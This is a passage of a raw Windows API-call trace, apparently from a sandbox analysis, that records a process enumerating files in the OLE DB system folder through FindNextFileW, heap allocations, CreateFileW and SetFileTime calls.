ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.507] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.508] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05280 [0055.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4158 [0055.509] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.509] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf052a0 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee41e0 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf052c0 [0055.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee40d0 [0055.510] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.510] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf052e0 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4268 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.511] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.511] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0055.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.512] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0055.512] GetLastError () returned 0x12 [0055.512] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.512] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.512] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.512] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.513] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.513] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.513] NtClose (Handle=0x134) returned 0x0 [0055.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee42f0 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4378 [0055.513] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.513] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.513] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0055.513] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee42f0) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05300 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06c40 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05340 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06e50 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05360 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf07060 [0055.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.514] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0055.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.515] 